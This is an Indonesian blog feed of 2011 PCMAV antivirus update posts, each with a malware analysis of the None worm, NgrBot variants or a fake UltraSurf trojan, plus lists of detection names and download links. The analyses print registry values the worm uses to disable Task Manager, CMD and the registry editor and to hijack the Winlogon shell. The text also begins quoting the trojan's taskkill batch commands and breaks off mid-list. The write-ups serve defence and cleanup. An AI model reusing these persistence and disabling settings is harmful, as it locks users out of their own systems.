asgard<br /> <br /> Segala masukan dan laporan bug mengenai PC Media Asgard Beta silahkan dilaporkan melalui <a href="http://virusindonesia.com/forum/viewtopic.php?id=314" target="_blank">forum.virusindonesia.com</a>0Build 3http://ekodomba.blogspot.com/2011/09/build-3.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Fri, 23 Sep 2011 11:06:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-3542987265820720326<div class="info"><div style="text-align: left;"><div style="text-align: left;"><div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/09/build-3.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.4 Valhalla + Build3</span></b></span></a></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/09/13/none-windows-%E2%80%98terbaik%E2%80%99-sepanjang-masa-2/"><span style="font-size: large;"><b>None: Windows ‘Terbaik’ Sepanjang Masa</b></span></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 250px; overflow: auto; text-align: left; width: 450px;"><img alt="hex" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/1.hex.png" /></div><br /> <br /> <b>None. </b><i>Screenshot</i> diatas merupakan pesan yang nantinya akan di tampilkan malware tipe worm yang kami dapatkan baru-baru ini. Selain banyaknya laporan worm yang menyebar lewat Facebook, masih ada saja virus maker lokal yang membuat malware yang bisa dikatakan cukup berbahaya. Terutama bagi user yang telah terinfeksi worm ini. Karena selain sulit mengendalikan <i>cursor mouse</i>, <i>Start Menu</i> pada<i> taskbar</i> dibuatnya selalu bergerak/animasi.<br /> <br /> <a name='more'></a><b>A. Info File</b><br /> Nama Worm : None<br /> Asal : Indonesia<br /> Ukuran File : 55.1 KB (56,462 bytes)<br /> Packer : ~<br /> Pemrograman : MS Visual Basic 5.0/6.0<br /> Icon : Ms. Word Document<br /> Tipe : Worm<br /> <br /> <b>B. About Malware</b><br /> “<i>Sudah jatuh, tertimpa tangga pula</i>” mungkin adalah ungkapan yang bisa mewakili pengguna yang komputernya terinfeksi malware yang kami beri nama None ini. Diduga None menyebar dengan memanfaatkan <i>Social Engineering</i> (rekayasa sosial) berupa nama yang sekilas dapat membuat user lengah. <b><i>cara_menghapus_virus_win32_ramnit_sality.rar</i></b> adalah nama yang digunakan untuk mengelabui user. Didalamnya terdapat juga file induk dari malware yang berukuran 2MB dan menggunakan icon dokumen Microsoft Word 2007.<br /> <br /> None akan menampilkan pesan:<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 150px; overflow: auto; text-align: left; width: 450px;"><img alt="message" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/2.msg.png" /></div><br /> <b><br /> SELAMAT ! WINDOWS ANDA SEKARANG MEMILIKI UPDATE SYSTEM WINDOWS YANG TERBARU, TERBAIK SEPANJANG MASA … !!! Ada masalah setelah instalasi ? Silakan kunjungi **********sini.com/foto-ovj</b><br /> <br /> Jika user membuka URL tersebut, maka akan langsung diarahkan ke salah website porno. Yang menarik adalah teknik yang digunakan setelah malware aktif di memory. Malware ini sengaja di buat dengan ukuran file melebihi 1MB yang bisa jadi dimaksudkan sebagai salah satu cara untuk mencoba melewati teknik pendeteksian heuristik dari antivirus untuk sebuah file PE. Setelah user melihat pesan di atas, None akan secara otomatis memotong dirinya sendiri dan membuat host untuk di jalankan saat <i>startup</i>. Ukuran asli None adalah 55.1 KB, sedangkan source yang membuat ukuran file ini menjadi 2MB hanyalah sebuah baris kosong.<br /> Berikut ini adalah perbedaannya:<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: left; width: 450px;"><img alt="hexfooter" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/3.hexfooter.png" /></div><br /> <br /> <i>note: perhatikan pada nilai offset gambar awal screenshot dan gambar di atas ini. Terlihat bahwa text pesan sudah tidak ada lagi seperti pada gambar awal.&nbsp;</i><br /> <br /> <b>C. Companion/File yang dibuat</b><br /> Seolah-olah worm ini membuat file baru di beberapa path, padahal file tersebut adalah file yang sama seperti file asli, hanya saja ada bagian kode None yang dihilangkan. None akan membuat 2 buah host setelah aktif di memory.<br /> - C:\WINDOWS\system32\regsvc.exe<br /> - C:\Documents and Settings\[user name]\Local Settings\Temp\setup.exe<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: left; width: 450px;"><img alt="temp" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/4.temp.png" /></div><br /> <b>D. Hasil Infeksi</b><br /> Mungkin bagi beberapa user yang sudah lama mengikuti perkembangan malware di Indonesia, pernah mendengar worm dengan nama <i>RazorBlade</i>. Setelah aktif worm ini membuat cursor mouse bergerak sendiri secara acak. Terlebih lagi tombol <i>Caps Lock</i> dan <i>Num Lock</i> akan otomatis aktif secara bergantian tanpa di dikendalikan oleh user. Sama halnya dengan None, yang setelah aktif sangat sulit mengendalikan cursor. Meskipun demikian, benar adanya jika ada istilah “<i>tak ada gading yang tak retak</i>”, karena user sebenarnya masih bisa menggunakan Windows Explorer dan masuk ke tiap folder dengan menggunakan fasilitas tombol <i>tab</i> pada keyboard.<br /> <br /> Seluruh icon di dekstop akan dibersihkan hingga tidak ada satupun shortcut yang tersisa, file yang terdapat di desktop juga akan dihapus. Selain itu tombol <i>Start Menu</i> akan berjalan ke kanan dan ke kiri dengan sendirinya dan tampilan <i>Date and Time</i> pada taskbar di hilangkan dari <i>Tray Icon</i>. Terlebih lagi None melakukan <i>takskill</i> terhadap aplikasi yang namanya mengandung kata seperti <i>Anti, Virus, Remover, Process,</i> dan lain lain.<br /> <br /> <img alt="Start Menu" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/5.startmenu.png" /><br /> <br /> Berikut ini adalah value key yang di buat pada registry setelah worm None aktif:<br /> <b>* </b>Disable Folder Options dan Run Command<br /> <blockquote><code>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]<br /> -NoFolderOptions<br /> -NoRun</code></blockquote><b>* </b>Disable Task Manager dan Registry Editors<br /> <blockquote><code>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system]<br /> -DisableTaskMgr<br /> -DisableRegistryTools</code></blockquote><b>* </b>Disable Command Prompt<br /> <blockquote><code><br /> [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]<br /> -DisableCMD</code></blockquote><b>* </b>Berjalan bersamaan dengan explorer.exe<br /> <blockquote><code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]<br /> "Shell"="Explorer.exe regsvc.exe"</code></blockquote><br /> <b>E. Pembersihan</b><br /> Untuk membersihkan worm None, ganti nama folder serta nama file PCMAV menjadi nama lain, kemudian jalankan PCMAV seperti biasa. Check list drive yang akan di scan, jika mendapat kesulitan dalam menekan tombol “Scan Now”, bisa lansung menekan tombol Enter atau memanfaatkan tombol tab pada keyboard.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="Deteksi" src="http://virusindonesia.com/wp-content/uploads/2011/09/none/6.deteksi.png" /></div><br /> <b>PCMAV 5.4 Update Build3</b><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.4 Update Build3 telah hadir dengan penambahan <b>70 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.4, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:</div><div style="text-align: left;">Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.4 Update Build3 :</b><br /> Camila.vbs<br /> Camila.vbs.txt<br /> Fandi.vbs.C<br /> Fandi.vbs.C.inf<br /> Invader.vbs.A<br /> Invader.vbs.A.drp<br /> Invader.vbs.B<br /> Invader.vbs.B.drp<br /> Ndra-Banjar.vbs<br /> Ndra-Banjar.vbs.inf<br /> Ndra-Banjar.vbs.txt<br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> None<br /> Pluto.C<br /> Pluto.C.drp<br /> Pluto.C.htm<br /> Pluto.D<br /> Predator<br /> Predator.inf<br /> Redlof.vbs.B<br /> Redlof.vbs.B.drp<br /> Redlof.vbs.B.inf<br /> RezaTera.B<br /> RezaTera.B.drp<br /> RezaTera.B.url<br /> Rieysha-Jogja.E<br /> Rieysha-Jogja.E.hosts<br /> Rieysha-Jogja.E.vbs<br /> Sabotage.D<br /> SkylerElite.vbs<br /> SkylerElite.vbs.B<br /> SkylerElite.vbs.inf<br /> SkylerElite.vbs.txt<br /> Spidey.vbs<br /> Spidey.vbs.doc<br /> TeraBitAdvanced<br /> TeraBitAdvanced.drp<br /> TeraBitAdvanced.exe<br /> TeraBitAdvanced.txt<br /> Thumbs.C<br /> Thumbs.C.inf<br /> Topinsutki.D<br /> Topinsutki.D.txt<br /> Tracker.vbs<br /> Tracker.vbs.html<br /> Tracker.vbs.inf<br /> Tupai<br /> Tupai.htm<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> Zistro </div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><br /> </div><div style="text-align: left;">PCMAV 5.4 Update Build3 telah tersedia dengan penambahan 138 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 70 database virus dari build2 yang hanya 22 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.4 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.</div><br /> <div style="text-align: left;"><br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"></div><br /> <br /> <br /> <div style="color: blue; text-align: center;"><b><span style="font-size: large;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span></b></div><br /> <br /> <div style="color: #e06666;"><b>Note (Penting) :</b></div><ol style="color: #e06666;"><li><b>Setelah Download PCMAV 5.4 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh Isi Yang Terdapat Dalam Folder ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.3 Valhalla), jika belum memiliki PCMAV 5.3 Valhalla silahkan Download disini <a href="http://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.html">PCMAV 5.3</a></b></li> <li><b><span style="font-size: small;">no.2 <span style="color: red;">(</span></span><span style="color: red; font-size: small;">Hanya update (.vdb) Build3)</span><span style="font-size: small;"> di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.4 Valhalla/vdb</span></b></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/16175078/PCMAV5.4Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.4</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/zA3TEHTm/PCMAV_54_Valhalla__ekodombablo.html"><b>PCMAV 5.4</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build3 :&nbsp;</span> <br /> <span style="font-weight: bold;">Link 1 = </span><span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/16482587/vdbBuild3.rar.html">Update Build 3</a> (ziddu)</b></span><br /> <span style="font-weight: bold;"> Link 2 = </span><span style="font-size: 100%;"><b><a href="http://www.indowebster.com/vdb_build3_.html">Update Build 3</a> (idws)</b></span><br /> <span style="font-weight: bold;">Link 3 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/gaGK6-_I/vdb__Build3__9.html">Update Build 3</a> (4shared)</b></span></div></div></div></div>0Build 2http://ekodomba.blogspot.com/2011/09/build-2.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Fri, 9 Sep 2011 11:05:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-4128836207495344849<div class="info"><div style="text-align: left;"><div style="text-align: center;"><div style="text-align: center;"><b><span style="font-size: large;"><a href="http://ekodomba.blogspot.com/2011/09/build-2.html"><span style="font-weight: bold;">PCMAV 5.4 Valhalla + Build2</span></a>&nbsp;</span></b></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/08/29/ngrbot-variant-hati-hati-account-facebook-anda/"><b><span style="font-size: large;">NgrBot Variant: Hati-hati Account Facebook Anda</span></b></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/1.fb.PNG" /></div><br /> <div style="text-align: left;"><b>NgrBot Variant</b>. Jangan merasa aneh jika salah satu kawan facebook Anda secara tiba-tiba mengirimkan chat yang berisi sebuah link/URL dan membuat penasaran lalu mengakses link tersebut. Setelah di buka, ternyata link tersebut mengarahkan untuk mendownload file dengan nama seperti yang terlihat pada gambar diatas. Sayangnya, file yang akan di download nantinya bukanlah file gambar dengan ekstensi (.jpg) melainkan file lain.</div></div><div style="text-align: left;"><br /> <a name='more'></a></div><div style="text-align: left;"></div><div style="text-align: left;"><span id="more-1911"></span></div><div style="text-align: left;"></div><div style="text-align: left;"><b>A. Info File</b></div><div style="text-align: left;"></div><div style="text-align: left;"><br /> </div><div style="text-align: left;">Nama Worm : NgrBot.D, NgrBot.E, NgrBot.F, NgrBot.G<br /> Asal : Unknown<br /> Ukuran File : Random<br /> Packer : ~<br /> Pemrograman : C++<br /> Icon : Random</div><div style="text-align: left;"></div><div style="text-align: left;">Tipe : Worm, Trojan, Keylogger</div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><b>B. About Malware</b></div><div style="text-align: left;"><br /> </div><div style="text-align: left;">Salah satu varian NgrBot sebelumnya sudah pernah di bahas di “<a href="http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/">http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/</a>” dan removernya (PCMAV Express for NgrBot) sudah bisa di dapatkan di sini “<a href="http://virusindonesia.com/2011/08/09/pcmav-express-for-ngrbot/">http://virusindonesia.com/2011/08/09/pcmav-express-for-ngrbot/</a>”. Berikut adalah icon yang digunakan NgrBot.A sampai NgrBot.C dengan ciri khasnya yang membentuk karakter tertentu.</div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><img alt="NgrBot.A" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/2.var.a.PNG" /></div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><img alt="NgrBot.B" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/3.var.b.PNG" /></div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><img alt="NgrBot.C" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/4.var.c.PNG" /></div><div style="text-align: left;"><br /> </div><div style="text-align: left;">Dan sekarang sudah menyebar juga varian lainnya. Antara lain NgrBot.D dan NgrBot.E yang tidak lagi menggunakan icon berbentuk karakter, melainkan icon menyerupai image.</div><div style="text-align: left;"><br /> <div style="text-align: left;"><img alt="NgrBot.D" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/5.var.d.PNG" /><br /> <br /> <img alt="NgrBot.E" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/6.var.e.PNG" /><br /> <br /> Varian lainnya yaitu NgrBot.F yang menggunakan icon bernuansa pornografi. Tergantung variannya, NgrBot membuat beberapa mutex yang berbeda, antara lain seperti terlihat dibawah ini.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="Mutex" src="http://virusindonesia.com/wp-content/uploads/2011/08/ngrbot/8.mutex.PNG" /></div></div><br /> <b>C. Companion/File yang dibuat</b><br /> <br /> Tidak jauh berbeda dengan varian sebelumnya , setelah aktif di memory NgrBot akan mendownload beberapa file yang nantinya dijalankan pada saat <i>startup</i> Windows.</div><div style="text-align: left;"></div><div style="text-align: left;"><b>D. Pembersihan</b><br /> <br /> Gunakan update build untuk mendeteksi keberadaan NgrBot, jika NgrBot telah menjangkiti komputer, gunakan PCMAV Express for NgrBot pada halaman <a href="http://virusindonesia.com/2011/08/09/pcmav-express-for-ngrbot/" title="PCMAV Express for NgrBot">http://virusindonesia.com/2011/08/09/pcmav-express-for-ngrbot/</a> untuk pembersihan secara menyeluruh.</div><div style="text-align: left;"></div><div style="text-align: left;"><b>PCMAV 5.4 Update Build2</b></div><div style="text-align: left;"></div><div style="text-align: left;"><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.4 Update Build2 telah hadir dengan penambahan <b>49 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.4, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.</div><div style="text-align: left;"></div><div style="text-align: left;"><br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.</div><div style="text-align: left;"></div><div style="text-align: left;"><br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:</div><div style="text-align: left;"></div><br /> <div style="text-align: left;"></div><div style="text-align: left;">Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.</div><div style="text-align: left;"></div><div style="text-align: left;"><b>Daftar tambahan virus hingga PCMAV 5.4 Update Build 2:</b></div><div style="text-align: left;"></div><div style="text-align: left;">Camila.vbs<br /> Camila.vbs.txt<br /> Fandi.vbs.C<br /> Fandi.vbs.C.inf<br /> Invader.vbs.A<br /> Invader.vbs.A.drp<br /> Invader.vbs.B<br /> Invader.vbs.B.drp<br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> Pluto.C<br /> Pluto.C.drp<br /> Pluto.C.htm<br /> Pluto.D<br /> Redlof.vbs.B<br /> Redlof.vbs.B.drp<br /> Redlof.vbs.B.inf<br /> RezaTera.B<br /> RezaTera.B.drp<br /> RezaTera.B.url<br /> Rieysha-Jogja.E<br /> Rieysha-Jogja.E.hosts<br /> Rieysha-Jogja.E.vbs<br /> Sabotage.D<br /> SkylerElite.vbs<br /> SkylerElite.vbs.B<br /> SkylerElite.vbs.inf<br /> SkylerElite.vbs.txt<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> Zistro </div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><br /> </div><div style="text-align: left;"><br /> </div><div style="text-align: left;">PCMAV 5.3 Update Build2 telah tersedia dengan penambahan 68 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 22 database virus dari build1 yang hanya 46 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.3 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.</div><br /> <div style="text-align: left;"><br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-VVAPo70oICCqG4BRSmwjHGwRpRoPMKGoTiEYXCMp2DrUggihzucN7BOG-Y9KfEUcjK9dP_16jIG2d9tjIjXwFOe7O1vJYz5AVscJ2N9ChyY0IEOLyiaIzBA6sdZ2T-laMf4c_javIf-k/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-VVAPo70oICCqG4BRSmwjHGwRpRoPMKGoTiEYXCMp2DrUggihzucN7BOG-Y9KfEUcjK9dP_16jIG2d9tjIjXwFOe7O1vJYz5AVscJ2N9ChyY0IEOLyiaIzBA6sdZ2T-laMf4c_javIf-k/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqhRBUt4LLIf8G-LrcCdxwVqtdlMP7TZkpHm_dOHuZUZQ7D99lmMiWV9L0TrU-bBYr0iKNGQ5SkOpd8DBSe5O2jsCtbXyY6WeKqREFcEi6WOJqYbYQlfYYhMOHOvlWseJPojJwcMTJeIsk/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqhRBUt4LLIf8G-LrcCdxwVqtdlMP7TZkpHm_dOHuZUZQ7D99lmMiWV9L0TrU-bBYr0iKNGQ5SkOpd8DBSe5O2jsCtbXyY6WeKqREFcEi6WOJqYbYQlfYYhMOHOvlWseJPojJwcMTJeIsk/s1600/2.JPG" /></a></div></div><br /> <br /> <br /> <div style="color: blue; text-align: center;"><b><span style="font-size: large;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span></b></div><br /> <br /> <div style="color: #e06666;"><b>Note (Penting) :</b></div><ol style="color: #e06666;"><li><b>Setelah Download PCMAV 5.4 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh Isi Yang Terdapat Dalam Folder ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.3 Valhalla), jika belum memiliki PCMAV 5.3 Valhalla silahkan Download disini <a href="http://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.html">PCMAV 5.3</a></b></li> <li><b><span style="font-size: small;">no.2 <span style="color: red;">(</span></span><span style="color: red; font-size: small;">Hanya update (.vdb) Build2)</span><span style="font-size: small;"> di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.4 Valhalla/vdb</span></b></li> </ol><ol></ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/16175078/PCMAV5.4Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.4</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/zA3TEHTm/PCMAV_54_Valhalla__ekodombablo.html"><b>PCMAV 5.4</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build2 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><span style="font-size: 100%;"><b><a href="http://www.indowebster.com/vdb_build2_.html">Update Build 2</a> (idws)</b></span><br /> <span style="font-weight: bold;">Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/VVtYfx5L/vdb__Build2__9.html">Update Build 2</a> (4shared)</b></span></div></div></div></div>0Build 1http://ekodomba.blogspot.com/2011/08/build-1.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Thu, 25 Aug 2011 16:38:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-8543598305768797235<div class="info"><div style="text-align: left;"><div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/08/build-1.html"><b><span style="font-size: large;"><span style="font-weight: bold;">PCMAV 5.4 Valhalla + Build1</span>&nbsp;</span></b></a><br /> <a href="http://virusindonesia.com/2011/08/16/ultrasurf-memformat-semua-hard-disk/"><b><span style="font-size: large;">UltraSurf: Memformat Semua Hard Disk</span></b></a><br /> <div style="text-align: left;"><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 230px; overflow: auto; text-align: left; width: 450px;"><img alt="UltraSurf" src="http://virusindonesia.com/wp-content/uploads/2011/07/ultrasurf/1.msg.png" /> </div><br /> <b>UltraSurf</b>. Beberapa waktu yang lalu, di forum virusindonesia.com ada salah seorang user yang sengaja mempublikasikan salah satu aplikasi dengan nama UltraSurf. Dengan mengatakan bahwa aplikasi UltraSurf ini dapat mem-<i>bypass</i> proxy dan membuat user bisa mengakses setiap website yang di blok. Sekilas aplikasi ini memang mirip aplikasi UltraSurf yang sebenarnya, tetapi hal buruklah yang akan user alami jika menggunakan aplikasi tipuan ini karena sudah dipastikan user akan kehilangan seluruh data di hard disknya.<br /> <br /> <a name='more'></a><br /> <br /> <span id="more-1821"></span><br /> <b>A. Info File</b><br /> Nama Worm : UltraSurf<br /> Asal : Indonesia<br /> Ukuran File : Random<br /> Packer : UPX 0.89 – 3.xx -&gt; Markus &amp; Laszlo ver. [ 3.07 ]<br /> Pemrograman : Delphi<br /> Icon : Random<br /> Tipe : Trojan, Worm<br /> <br /> <b>B. About Malware</b><br /> <br /> <img alt="UltraSurf" src="http://virusindonesia.com/wp-content/uploads/2011/07/ultrasurf/2.variant.png" /><br /> <br /> Variant pertama dari UltraSurf kami dapatkan berasala dari Jakarta. Mungkin hanya buatan orang yang memang berniat untuk menghapus setiap data user yang terdapat pada drive lain selain drive C. Hal ini dimaksudkan agar malware tetap bisa menjalankan aksinya untuk memformat setiap drive setelah di jalankan.<br /> <br /> Seperti yang terlihat pada gambar di atas, UltraSurf berasal dari Indonesia. Setelah di UnPack, sangat terlihat tujuan dari UltraSurf setelah dijalankan oleh user.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="UltraSurf" src="http://virusindonesia.com/wp-content/uploads/2011/07/ultrasurf/3.hexa.PNG" /></div><br /> <b>C. Companion/File yang dibuat</b><br /> <br /> <img alt="UltraSurf" src="http://virusindonesia.com/wp-content/uploads/2011/07/ultrasurf/4.batfile.PNG" /><br /> <br /> Setelah user menjalankan UltraSurf, malware ini akan membuat 1 buah file dengan nama ultrasurf.bat di folder temporary. Pada variant D, file bat yang dibuat menggunakan nama “alaskan ip.bat”.&nbsp; Batch file ini hanya bersifat sementara yang dibuat setelah UltraSurf di jalankan dan otomatis dihapus setelah selesai mengeksekusi seluruh perintahnya.<br /> <br /> <b>D. Hasil Infeksi</b><br /> Dengan perintah-perintah bat file ini, jelas benar-benar terlihat apa saja yang akan dilakukan oleh UltraSurf.<br /> Menghentikan proses dengan nama idman.exe, firefox.exe, explorer.exe<br /> <blockquote><code>taskkill /f /im idman.exe<br /> taskkill /f /im firefox.exe<br /> 